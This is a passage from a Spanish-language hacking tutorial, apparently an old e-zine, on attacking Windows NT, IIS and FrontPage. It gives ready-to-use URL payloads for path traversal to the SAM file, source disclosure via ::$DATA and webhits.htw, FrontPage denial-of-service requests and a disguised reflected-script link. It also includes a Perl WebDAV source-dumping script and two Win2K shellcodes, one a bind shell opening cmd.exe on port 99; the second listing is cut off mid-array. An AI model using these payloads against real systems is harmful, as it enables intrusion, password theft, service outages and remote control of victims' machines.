intruso sabe la ruta exacta de un fichero en el servidor, podria acceder a
el pasandoselo como argumento a uno de estos dos ficheros.

Veamos un ejemplo. Supongamos que sabemos que en la particion en la que
tiene instalado IIS tiene en el directorio raiz un fichero llamado pass.txt,
y queremos verlo. Le hariamos la siguiente peticion al servidor:

http://www.lavictima.com/msadc/samples/selector/showcode.asp?source=
/msadc/../../../../pass.txt

Y ya estaria.

Quiza os esteis preguntando porque no coger el archivo SAM. No lo cogemos
porque Showcode y Codebrws no son capaces de procesar los caracteres de
control de dicho archivo, con lo que tendriamos un archivo SAM diferente del
original, a la vez que inservible.



[ 6.1.7.6 - El bug de webhits.dll y los ficheros .htw ]
-----------------------------------------------------

Ya repasamos un bug de Null.htw, el cual gracias a la variable
"CiWebhitsfile" nos permitia ver el codigo de cualquier archivo, pudiendo
ademas escapar del arbol de la web. Pues en este caso es mas de lo mismo, ya
que el bug es el mismo que el ya visto anteriormente, solo que esta vez va
asociado a webhits.dll

Esta libreria es la que negocia con las peticiones, y esta tiene el fallo
de que permite que la variable CiWebhitsfile permita acceder a cualquier
fichero, pudiendo tener el codigo de cualquier archivo.

Para este caso se necesita tener un .htw real en el servidor... sin eso
no podemos explotar el bug. A continuacion se muestran las rutas de algunos
ficheros .htw por defecto, las cuales vienen como ejemplo en IIS para que
el admin practique y tal...

/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw

Y bueno, con esto, sabiendo que se explota igual que el bug del null.htw
y con las mismas caracteristicas, nos podremos hacer una idea de la url que
se habra de meter en el navegador para aprovecharnos... no?. Bueno, que
sirva la siguiente como ejemplo:

http://www.maquina.es/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=
/../../winnt/repair/sam._&cirestriction=none&cihilitetype=full

Con lo que solo tendriamos que seguir los tipicos paso que paso de
volver a repetirlos.



[ 6.1.7.7 - El bug del ::$DATA ]
------------------------------

Esta archiconocida vulnerabilidad, que afecta a todas las versiones del
IIS hasta la 4.0, se aprovecha de como IIS analiza los nombres de archivo
que se le piden, de manera que desde el navegador se puede acceder al codigo
fuente de un archivo .asp o .vbd.

El bug consiste en insertar al final de la url la extension ::$DATA. De
esa manera te podras bajar el codigo fuente y editarlo en busca de
informacion interesante.

Un ejemplo seria el siguiente:

http://www.maquina.es/ventas/formulario.asp::$DATA



[ 6.1.7.8 - Adsamples ]
---------------------

Dicho bug permite acceder a cualquiera acceder al fichero site.csc sin
ningun impedimento, por lo que si el atacante lo baja, podra ver informacion
muy interesante que no debiera poder verla cualquiera... como las DSN, o
nombres de usuario y contrase~as de la base de datos.

Dicho fichero se encuentra por defecto en el directorio virtual
adsamples/config/site.csc. Un ejemplo:

www.maquinavulnerable.com/adsamples/config/site.csc



[ 6.1.7.9 - El bug de WebDAV ]
----------------------------

Este bug permite bajar el codigo de cualquier archivo del servidor en el
arbol de la web. Dicho bug se basa en un problema de las extensiones de
FrontPage 2000 y un problema de implementacion en Office 2000.

Basta con a~adir en las cabeceras de una peticion "GET" de HTTP la
cabecera translate:f para poder ver el codigo del fichero que se pide. Vamos
a explicar mas a fondo un poco el bug.

translate:f es una cabecera exclusiva de WebDAV, y es usado en los
clientes compatibles con este y en Frontpage 2000 para poder editar el
fichero que se esta pidiendo. Pero a mas de uno le agradara saber que pasara
si incluimos la barra lateral '/' al final de la peticion GET...

Aqui se incluye un script en perl que podreis encontrar en cualquier lado
que sirve para generar peticiones get de ese estilo para aprovecharnos del
bug.


-- Comienza el codigo --

<++>xploits/webdav.pl
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV < 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, ">$server.txt");
print "Dumping $cm to $server.txt \n";
while(<SOCK>) {
print OUT <SOCK>;
}
sub howto {
print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
<-->

-- Finaliza el codigo --



[ 6.1.7.10 - Conclusion a los ataques IIS ]
-----------------------------------------

Bien, como se ha visto, IIS posee muchos fallos, por lo que un servidor
de IIS que no este totalmente parcheado es un servidor muy vulnerable. Bien
pensado, atacar al IIS resulta una de las maneras mas limpias de hackear un
NT... al loro.



[ 6.2 - Vulnerabilidades de Frontpage ]
-------------------------------------

Pasemos ahora a ver los bugs del Frontpage 2000. Este producto tambien
esta servido de una rica y variada gama de bugs, los cuales no van a poder
ser todos mostrados por cuestiones de espacio. Nos centraremos en la version
2000 de frontpage server, que actualmente es la mas usada.



[ 6.2.1 - DoS a las extensiones ]
-------------------------------

Este sencillo bug consiste en realizar de manera conseutiva, peticiones
al archivo shtml.dll del servidor. La forma de la URL seria la siguiente:
http://www.maquina.com/_vti_bin/shtml. dll. Se podria hacer un programa
simplon que hiciese repetidas peticiones GET a ese archivo, con lo que en
cuestion de segundos el servidor se bloquearia.


[ 6.2.2 - Otro DoS a las extensiones gracias a Ms-Dos ]
-----------------------------------------------------

Este DoS se aprovecha de los recursos de Ms-Dos (o Ms-DoS ;-)) para
colgar el sistema. Mediante shtml.exe es posible acceder a dichos recursos,
de manera tal:

http://www.victima.com/_vti_bin/shtml.exe/com1.htm

Podriamos haber puesto en lugar de com1 otro recurso de ms-dos, como aux,
nul, prn, con (de que me sonara este?), etc.

Sin embargo este DoS no sera efectivo a menos que efectuemos la operacion
varias veces seguidas. Sino se hiciera asi, el servidor aguantaria... si lo
hacemos bien se tendra que reiniciar el sistema o reiniciar IIS para poder
seguir con normalidad.



[ 6.2.3 - Scripting con shtml.dll ]
---------------------------------

Este se~or bug afecta a las extensiones de Frontpage server 1.2 si estas
se encuentran instaladas en un servidor IIS. El fallo consiste en que si en
una peticion al archivo shtml.dll incluimos al final de esta mas texto, el
servidor generara un error a partir de ese texto... pero, que pasaria si ese
texto es un script (no importa el lenguaje)?, pues como el servidor devuelve
un error a partir del texto a~adido a la url, si este contiene un codigo que
el navegador pueda interpretar, este se ejecutara en el la maquina cliente.

Como ejemplo, observar la siguiente url:

http://www.maquina.es/_vti_bin/shtml.dll/<SCRIPT> codigo </SCRIPT>

El procedimiento es este: nosotros le hacemos una peticion con nuestro
codigo, el servidor nos re-envia este codigo junto un mensaje de error, y
nuestro navegador interpreta el codigo ejecutando su contenido.

Claro, que este fallo no posee mucha relevancia de por si sino pudiera
ser aprovechado por terceros... veamos ahora un link colocado en una pagina
web cualquiera que explotaria el bug:

<a href="http://victima.es/_vti_bin/shtml.dll/<SCRIPT> codigo... </SCRIPT>">
http://victima.es</a>

El visitante vera como el link parece enviarnos a victima.es, pero, por
ejemplo si usa windows con netscape o i. explorer al pasar el raton por
encima vera a donde apunta realmente el link. Esto se podria ocultar con un
peque~o codigo javascript en la pagina...

Entonces: Para que sirve este bug? Pues para ejecutar en la maquina
cliente el codigo script que quieras. Obviamente deberemos especificar en la
etiqueta de inicio de script el lenguaje de scripts que vamos a utilizar.

Se se hubiera usado este bug para explotar la vulnerabilidad de ActiveX
descubierta por la gente del CCC, los efectos hubieran sido tremendos. Que
sirva como ejemplo para ver la trascendencia del bug.



[ 6.2.4 - Otra vez las extensiones ]
----------------------------------

Este bug causa las mismas consecuencias que el bug de los .idc y .ida de
IIS. Nos devuelve la ruta del servidor web. En este caso para conseguir la
ruta deberemos hacer una peticion de este tipo:

http://www.maquina.es/_vti_bin/shtml.exe/archivo_que_no_exista.html



[ 6.2.5 - Conclusion a Frontpage ]
--------------------------------

Como hemos visto Frontpage posee bugs que pueden comprometer la seguridad
y/o estabilidad del sistema, muy faciles de explotar. Esto se deberia tener
en cuenta, y seguir las noticias sobre la seguridad de frontpage muy de
cerca. Aqui solo se han visto unos pocos, los mas recientes. Para ver una
galeria entera de bugs de este y otros productos, lo de siempre, miraros el
apendice.



-=-



[ 7 - El registro ]
-----------------

El registro es la base de datos centralizada de la configuracion de
Windows, en el guardan informacion los programas, y sobretodo el sistema
operativo en si. Aprender a utilizar el registro nos ayudara desde a poder
personalizar en gran parte nuestro Windows (sea la version que sea), hasta
poder violar la seguridad del sistema con diferentes trucos, pasando por el
crackeo de aplicaciones.

Aqui me basare en el registro de los W2K. Sin embargo toda la familia Win
comparte unos grandes parecidos en ello.

Para los que ya sepais algo del registro de W95, deciros que a diferencia
de este NT no utiliza la sub-estructura HKEY_DYN_DATA.



[ 7.1 - Estructura del registro ]
-------------------------------

El registro de NT esta dividido en 5 sub-estructuras: HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS y HKEY_CURRENT_CONFIG.

Vamos a analizarlas.



HKEY_CLASSES_ROOT
-----------------
Esta sub-estructura mantiene una lista de las extensiones de los archivos
enlazados a aplicaciones determinadas. Tambien contiene informacion sobre
las operaciones OLE (Object Linking And Emmedding), etc.

Desde aqui podriamos a~adir la extension .loquesea , y definirla, de
manera que el admin cuando vea la descripcion del tipo de archivo vera la
que nosotros hayamos puesto. Tambien podemos cambiar las definiciones de
otros ficheros, por ejemplo, poner a los .exe la descripcion "Documento
de texto", etc. Esto es util a la hora de programar I-Worms.


HKEY_CURRENT_USER
-----------------
Esta clave contiene la configuracion del entorno del escritorio, de los
programas, del entorno del usuario, etc.

Aqui podemos diferenciar 7 subclaves:


- AppEvents: En esta subclave se encuentra la configuracion de los
sonidos de Windows.

- Console: Configuracion sobre la consola del DOS.

- Control Panel: Aqui se almacena la configuracion sobre los distintos
dispositivos de entrada/salida del sistema, ademas de
la configuracion de la gran parte de los elementos del
panel de control de Windows.

- Environment: Ruta de los directorios de archivos temporales.

- Identities: Contiene informacion sobre las identidades que el usuario
actual posee en distintos programas (outlook, etc.)

- Software: Esta contiene informacion de los distintos programas que se
encuentran instalados.

- System: Infomacion del sistema en la sesion que se encuentra el usuario
local.


Estas son las llaves que siempre hay en los NT... luego puede haber mas,
pues hay aplicaciones que crean llaves en dicho apartado.



HKEY_LOCAL_MACHINE
------------------
Esta subestructura es sumamente interesante, pues en ella se muestran las
configuraciones del sistema, de su hardware, controladores, aplicaciones,
etc.

Esta se divide en 5 sub-estructuras, que son:


- HKEY_LOCAL_MACHINE\Hardware: En esta llave se almacenan los datos sobre
los drivers del sistema y los componentes
del hardware.

- HKEY_LOCAL_MACHINE\SAM: Informacion sobre los usuarios del sistema, sus
passwords...

- HKEY_LOCAL_MACHINE\Security: Informacion sobre los privilegios de los
usuarios, etc.

- HKEY_LOCAL_MACHINE\Software: Informacion sobre todo el software que se
encuentra instalado en el sistema.

- HKEY_LOCAL_MACHINE\System: Aqui se almacena la informacion que NT
necesita para arrancar el sistema.



HKEY_USERS
----------
Igual que HKEY_CURRENT_USER pero con una sub-estructura para cada usuario
del sistema.



HKEY_CURRENT_CONFIG
-------------------
Esta sub-estructura contiene informacion sobre la configuracion actual de
distintos dispositivos del sistema, y la configuracion tambien de las
propiedades de internet, etc.



[ 7.2 - Vulnerabilidades del registro ]
-------------------------------------

La unica vulnerabilidad del registro es su mala configuracion. Lo primero
que se debiera tener en cuenta es que no se debe permitir acceder al
registro de forma remota. Si se permitiera el acceso remoto al registro, se
ha de tener en cuenta mucho los permisos. Hay ciertas zonas en las que el
usuario no deberia poder escribir. Podria, por ejemplo, cambiar la ruta de
programas, apuntando a otros que le beneficien a el, o causar caos en el
sistema, etc. Es algo que hay que tener muy en cuenta.

Para acceder remotamente al registro solo hace falta conectarse a el
desde regedit, regdt32, por ejemplo.



[ 7.3 - Conclusion sobre el registro ]
------------------------------------

Como se ha visto, el registro es el "Alma Mater" de NT, y tambien se ha
visto que hay ciertas estructuras con informacion sensible que no debieran
poder escribirse.

Sin embargo, todo lo que se ha dicho aqui del registro es realmente poco.
Para los que quieran saber mas, pueden pasarse por el apendice, donde
encontraran referencias a otros documentos.



-=-



[ 8 - Desbordamientos de pila en NT ]
-----------------------------------


Los buffer overflows (llamados BOFS por brevedad) que tanto afectan a
todo tipo de u*x, nunca fueron un problema para NT. Hasta hace poco. El que
NT sea de codigo cerrado, asi como casi todo el software que para el se
desarrolla, no ha impedido que se le hayan descubierto varios fallos de
programacion vulnerables al desbordamiento de buffer. Recordemos como
Mnemonix descubrio ya el bug en Rasman y Winhlp32, como dark spyrit
descubrio uno en IIS, etc. Aunque no sobrepasen de mucho la decena son ya
una seria amenaza, y se prevee que con todos los documentos/tutoriales que
hay acerca del tema, sean la plaga de NT de aqui a no mucho.

No voy a describir los conceptos de un BOF, no voy a escribir acerca de
algo de lo que se ha escrito tanto, y ademas mejor de lo que yo pudiera
hacerlo. En cambio, incluire 2 shellcodes relativamente recientes, que
seguro que mas de uno sabra sacar partido. Todas son para W2K.

Luego, quien quiera aprender como se provocan los BOFS, su teoria, etc.,
pueden mirarse el articulo en SET 22 de Mnemonix traducido por FCA00000:
"Buffer Overflows: Rasman & Winhlp32", que trata los bofs en entornos Win32,
con los ejemplos del rasman y winhlp32; o en SET 21 el de Doing: "ASM y
Buffer Overflows", que trata los BOFS en general. Mirar el apendice, donde
incluyo otras referencias.


[ 8.1 - Shellcodes ]
------------------

Y a continuacion incluyo uno de las 2 shellcodes, esta creada por |zan,
del grupo deepzone (http://www.deepzone.org).


--- Comienza codigo de shellcode ---
<++>xploits/shellcode.asm
; -- begin x86/asm --

LLB1 equ (00h xor 99h)
LLB2 equ (00h xor 99h)
LLB3 equ (00h xor 99h)
LLB4 equ (00h xor 99h)

GPB1 equ (00h xor 99h)
GPB2 equ (00h xor 99h)
GPB3 equ (00h xor 99h)
GPB4 equ (00h xor 99h)

DeepZone_w32ShellCode:
db 068h, 05eh, 056h, 0c3h, 090h, 054h, 059h, 0ffh, 0d1h
db 058h, 033h, 0c9h, 0b1h, 01ch, 090h, 090h, 090h, 090h
db 003h, 0f1h, 056h, 05fh, 033h, 0c9h, 066h, 0b9h, 095h
db 004h, 090h, 090h, 090h, 0ach, 034h, 099h, 0aah, 0e2h
db 0fah, 071h, 099h, 099h, 099h, 099h, 0c4h, 018h, 074h
db 040h, 0b8h, 0d9h, 099h, 014h, 02ch, 06bh, 0bdh, 0d9h
db 099h, 014h, 024h, 063h, 0bdh, 0d9h, 099h, 0f3h, 09eh
db 009h, 009h, 009h, 009h, 0c0h, 071h, 04bh, 09bh, 099h
db 099h, 014h, 02ch, 0b3h, 0bch, 0d9h, 099h, 014h, 024h
db 0aah, 0bch, 0d9h, 099h, 0f3h, 093h, 009h, 009h, 009h
db 009h, 0c0h, 071h, 023h, 09bh, 099h, 099h, 0f3h, 099h
db 014h, 02ch, 040h, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch
db 07ch, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch, 070h, 0bch
db 0d9h, 099h, 0cfh, 066h, 00ch, 0aah, 0bch, 0d9h, 099h
db 0f3h, 099h, 014h, 02ch, 040h, 0bch, 0d9h, 099h, 0cfh
db 014h, 02ch, 074h, 0bch, 0d9h, 099h, 0cfh, 014h, 02ch
db 068h, 0bch, 0d9h, 099h, 0cfh, 066h, 00ch, 0aah, 0bch
db 0d9h, 099h, 05eh, 01ch, 06ch, 0bch, 0d9h, 099h, 0ddh
db 099h, 099h, 099h, 014h, 02ch, 06ch, 0bch, 0d9h, 099h
db 0cfh, 066h, 00ch, 0aeh, 0bch, 0d9h, 099h, 014h, 02ch
db 0b4h, 0bfh, 0d9h, 099h, 034h, 0c9h, 066h, 00ch, 0cah
db 0bch, 0d9h, 099h, 014h, 02ch, 0a8h, 0bfh, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0cah, 0bch, 0d9h, 099h, 014h
db 02ch, 068h, 0bch, 0d9h, 099h, 014h, 024h, 0b4h, 0bfh
db 0d9h, 099h, 03ch, 014h, 02ch, 07ch, 0bch, 0d9h, 099h
db 034h, 014h, 024h, 0a8h, 0bfh, 0d9h, 099h, 032h, 014h
db 024h, 0ach, 0bfh, 0d9h, 099h, 032h, 05eh, 01ch, 0bch
db 0bfh, 0d9h, 099h, 099h, 099h, 099h, 099h, 05eh, 01ch
db 0b8h, 0bfh, 0d9h, 099h, 098h, 098h, 099h, 099h, 014h
db 02ch, 0a0h, 0bfh, 0d9h, 099h, 0cfh, 014h, 02ch, 06ch
db 0bch, 0d9h, 099h, 0cfh, 0f3h, 099h, 0f3h, 099h, 0f3h
db 089h, 0f3h, 098h, 0f3h, 099h, 0f3h, 099h, 014h, 02ch
db 0d0h, 0bfh, 0d9h, 099h, 0cfh, 0f3h, 099h, 066h, 00ch
db 0a2h, 0bch, 0d9h, 099h, 0f1h, 099h, 0b9h, 099h, 099h
db 009h, 0f1h, 099h, 09bh, 099h, 099h, 066h, 00ch, 0dah
db 0bch, 0d9h, 099h, 010h, 01ch, 0c8h, 0bfh, 0d9h, 099h
db 0aah, 059h, 0c9h, 0d9h, 0c9h, 0d9h, 0c9h, 066h, 00ch
db 063h, 0bdh, 0d9h, 099h, 0c9h, 0c2h, 0f3h, 089h, 014h
db 02ch, 050h, 0bch, 0d9h, 099h, 0cfh, 0cah, 066h, 00ch
db 067h, 0bdh, 0d9h, 099h, 0f3h, 09ah, 0cah, 066h, 00ch
db 09bh, 0bch, 0d9h, 099h, 014h, 02ch, 0cch, 0bfh, 0d9h
db 099h, 0cfh, 014h, 02ch, 050h, 0bch, 0d9h, 099h, 0cfh
db 0cah, 066h, 00ch, 09fh, 0bch, 0d9h, 099h, 014h, 024h
db 0c0h, 0bfh, 0d9h, 099h, 032h, 0aah, 059h, 0c9h, 014h
db 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0c9h, 0c9h, 0c9h
db 014h, 02ch, 070h, 0bch, 0d9h, 099h, 034h, 0c9h, 066h
db 00ch, 0a6h, 0bch, 0d9h, 099h, 0f3h, 0a9h, 066h, 00ch
db 0d6h, 0bch, 0d9h, 099h, 072h, 0d4h, 009h, 009h, 009h
db 0aah, 059h, 0c9h, 014h, 024h, 0fch, 0bfh, 0d9h, 099h
db 0ceh, 0c9h, 0c9h, 0c9h, 014h, 02ch, 070h, 0bch, 0d9h
db 099h, 034h, 0c9h, 066h, 00ch, 0a6h, 0bch, 0d9h, 099h
db 0f3h, 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 01ah
db 024h, 0fch, 0bfh, 0d9h, 099h, 09bh, 096h, 01bh, 08eh
db 098h, 099h, 099h, 018h, 024h, 0fch, 0bfh, 0d9h, 099h
db 098h, 0b9h, 099h, 099h, 0ebh, 097h, 009h, 009h, 009h
db 009h, 05eh, 01ch, 0fch, 0bfh, 0d9h, 099h, 099h, 0b9h
db 099h, 099h, 0f3h, 099h, 012h, 01ch, 0fch, 0bfh, 0d9h
db 099h, 014h, 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0c9h
db 012h, 01ch, 0c8h, 0bfh, 0d9h, 099h, 0c9h, 014h, 02ch
db 070h, 0bch, 0d9h, 099h, 034h, 0c9h, 066h, 00ch, 0deh
db 0bch, 0d9h, 099h, 0f3h, 0a9h, 066h, 00ch, 0d6h, 0bch
db 0d9h, 099h, 012h, 01ch, 0fch, 0bfh, 0d9h, 099h, 0f3h
db 099h, 0c9h, 014h, 02ch, 0c8h, 0bfh, 0d9h, 099h, 034h
db 0c9h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h, 034h, 0c9h
db 066h, 00ch, 093h, 0bch, 0d9h, 099h, 0f3h, 099h, 014h
db 024h, 0fch, 0bfh, 0d9h, 099h, 0ceh, 0f3h, 099h, 0f3h
db 099h, 0f3h, 099h, 014h, 02ch, 070h, 0bch, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0a6h, 0bch, 0d9h, 099h, 0f3h
db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 0aah, 050h
db 0a0h, 014h, 0fch, 0bfh, 0d9h, 099h, 096h, 01eh, 0feh
db 066h, 066h, 066h, 0f3h, 099h, 0f1h, 099h, 0b9h, 099h
db 099h, 009h, 014h, 02ch, 0c8h, 0bfh, 0d9h, 099h, 034h
db 0c9h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h, 034h, 0c9h
db 066h, 00ch, 097h, 0bch, 0d9h, 099h, 010h,

  
01ch, 0f8h
db 0bfh, 0d9h, 099h, 0f3h, 099h, 014h, 024h, 0fch, 0bfh
db 0d9h, 099h, 0ceh, 0c9h, 014h, 02ch, 0c8h, 0bfh, 0d9h
db 099h, 034h, 0c9h, 014h, 02ch, 074h, 0bch, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0d2h, 0bch, 0d9h, 099h, 0f3h
db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 0f3h, 099h
db 012h, 01ch, 0f8h, 0bfh, 0d9h, 099h, 014h, 024h, 0fch
db 0bfh, 0d9h, 099h, 0ceh, 0c9h, 012h, 01ch, 0c8h, 0bfh
db 0d9h, 099h, 0c9h, 014h, 02ch, 070h, 0bch, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 0deh, 0bch, 0d9h, 099h, 0f3h
db 0a9h, 066h, 00ch, 0d6h, 0bch, 0d9h, 099h, 070h, 020h
db 067h, 066h, 066h, 014h, 02ch, 0c0h, 0bfh, 0d9h, 099h
db 034h, 0c9h, 066h, 00ch, 08bh, 0bch, 0d9h, 099h, 014h
db 02ch, 0c4h, 0bfh, 0d9h, 099h, 034h, 0c9h, 066h, 00ch
db 08bh, 0bch, 0d9h, 099h, 0f3h, 099h, 066h, 00ch, 0ceh
db 0bch, 0d9h, 099h, 0c8h, 0cfh, 0f1h, LLB4, LLB3, LLB2
db LLB1, 009h, 0c3h, 066h, 08bh, 0c9h, 0c2h, 0c0h, 0ceh
db 0c7h, 0c8h, 0cfh, 0cah, 0f1h, GPB4, GPB3, GPB2, GPB1
db 009h, 0c3h, 066h, 08bh, 0c9h, 035h, 01dh, 059h, 0ech
db 062h, 0c1h, 032h, 0c0h, 07bh, 070h, 05ah, 0ceh, 0cah
db 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah
db 0f2h, 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h
db 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h, 0fah
db 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh
db 099h, 0ebh, 0fch, 0fah, 0efh, 099h, 0fah, 0f5h, 0f6h
db 0eah, 0fch, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h
db 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h
db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h
db 0fch, 099h, 0deh, 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh
db 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh, 0f6h, 0d8h, 099h
db 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h
db 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0c9h, 0fch, 0fch
db 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h
db 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h
db 0f5h, 0f5h, 0f6h, 0fah, 099h, 0cbh, 0fch, 0f8h, 0fdh
db 0dfh, 0f0h, 0f5h, 0fch, 099h, 0ceh, 0ebh, 0f0h, 0edh
db 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch
db 0fch, 0e9h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h
db 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0dch, 0e1h, 0f0h
db 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h
db 0dah, 0f6h, 0fdh, 0fch, 0fdh, 0b9h, 0fbh, 0e0h, 0b9h
db 0e5h, 0c3h, 0f8h, 0f7h, 0b9h, 0a5h, 0f0h, 0e3h, 0f8h
db 0f7h, 0d9h, 0fdh, 0fch, 0fch, 0e9h, 0e3h, 0f6h, 0f7h
db 0fch, 0b7h, 0f6h, 0ebh, 0feh, 0a7h, 09bh, 099h, 086h
db 0d1h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 095h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 098h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0dah
db 0d4h, 0ddh, 0b7h, 0dch, 0c1h, 0dch, 099h, 099h, 099h
db 099h, 099h, 089h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 090h, 090h, 090h, 090h, 090h
<-->

; -- end x86/asm --

--- Finaliza codigo de shellcode ---


A continuacion se muestra la segunda y ultima shellcode, de sunx.



--- Comienza codigo de shellcode ---
<++>xploits/shellcode2.c
/****************************************************************************

WinShellCode Writen by sunx
sunx@cnns.net, http://www.cnns.net

This shellcode works like most remote UNIX shell

it will listen on port 99,
when telnet to chis port, a cmd.exe shell will active

It is asm code is followed.

For remove char(0) in data
shellcode is xor 0x99, it will decode itself, when on run

when overflow, run time cpu mirror is :

-----------RRRR-NOPNOPNOPNOPNOPNOPNOP-ShellCodeShellCodeShellCode-----------
^ ^
| |
| |
ESP point to here shellcode place here

ESP must less than shellcode start address, when run this shellcode

[root@Linux /]# telnet 192.168.0.5 99
Trying 192.168.0.5...
Connected to sunx (192.168.0.5).
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) °æȨËùÓÐ 1985-2000 Microsoft Corp.

E:\work\asm\winshell\conv>cd \

cd \

E:\>^]q

Connection closed.
[root@Linux /]# telnet 192.168.0.5 99
Trying 192.168.0.5...
Connected to sunx (192.168.0.5).
Escape character is '^]'.

E:\>c:

c:

C:\>

***************************************************************************/


#ifndef WINSHELLCODE_H
#define WINSHELLCODE_H

const unsigned long OfsShellCodeLoadLib = 0x436;
const unsigned long OfsShellCodeGetProc = 0x43a;
const unsigned long OfsShellCodeShell = 0x442;

const unsigned long JMPESP_Win2k2195 = 0x77e6898b;
const unsigned long JMPESP_WinNTsp6 = 0x77f0eac3;

const unsigned long LoadLib_Win2k2195 = 0x77e67273;
const unsigned long GetProc_Win2k2195 = 0x77e67031;

const unsigned long LoadLib_WinNTsp6 = 0x77ee391a;
const unsigned long GetProc_WinNTsp6 = 0x77ee4111;

unsigned char shellcode[]=
{
0x8b, 0xfc, 0xb8, 0x73, 0x75, 0x6e, 0x78, 0x47, 0x39, 0x07,
0x75, 0xfb, 0x8d, 0x6f, 0xfd, 0x8d, 0x7d, 0x26, 0x90, 0x90,
0x90, 0x8b, 0xf7, 0xb4, 0x99, 0xfc, 0xac, 0x32, 0xc4, 0xaa,
0x81, 0x3e, 0x73, 0x75, 0x6e, 0x78, 0x75, 0xf4, 0x14, 0x24,
0xdb, 0x9d, 0x99, 0x99, 0x65, 0xaa, 0x50, 0x28, 0xb9, 0x29,
0xbd, 0x6b, 0x37, 0x5f, 0xde, 0x66, 0x99, 0x71, 0x4c, 0x9b,
0x99, 0x99, 0x71, 0x41, 0x98, 0x99, 0x99, 0x10, 0x1c, 0xb3,
0x9d, 0x99, 0x99, 0x71, 0x44, 0x98, 0x99, 0x99, 0x71, 0xcb,
0x9b, 0x99, 0x99, 0x10, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x71,
0x9d, 0x98, 0x99, 0x99, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99,
0x71, 0x88, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0xab, 0x9d, 0x99,
0x99, 0x71, 0x9b, 0x99, 0x99, 0x99, 0x72, 0x71, 0x12, 0x1c,
0x8f, 0x9d, 0x99, 0x99, 0x71, 0x28, 0x99, 0x99, 0x99, 0x1a,
0x61, 0x99, 0xed, 0xc0, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59,
0xc9, 0x14, 0x1c, 0xbf, 0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59,
0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9,
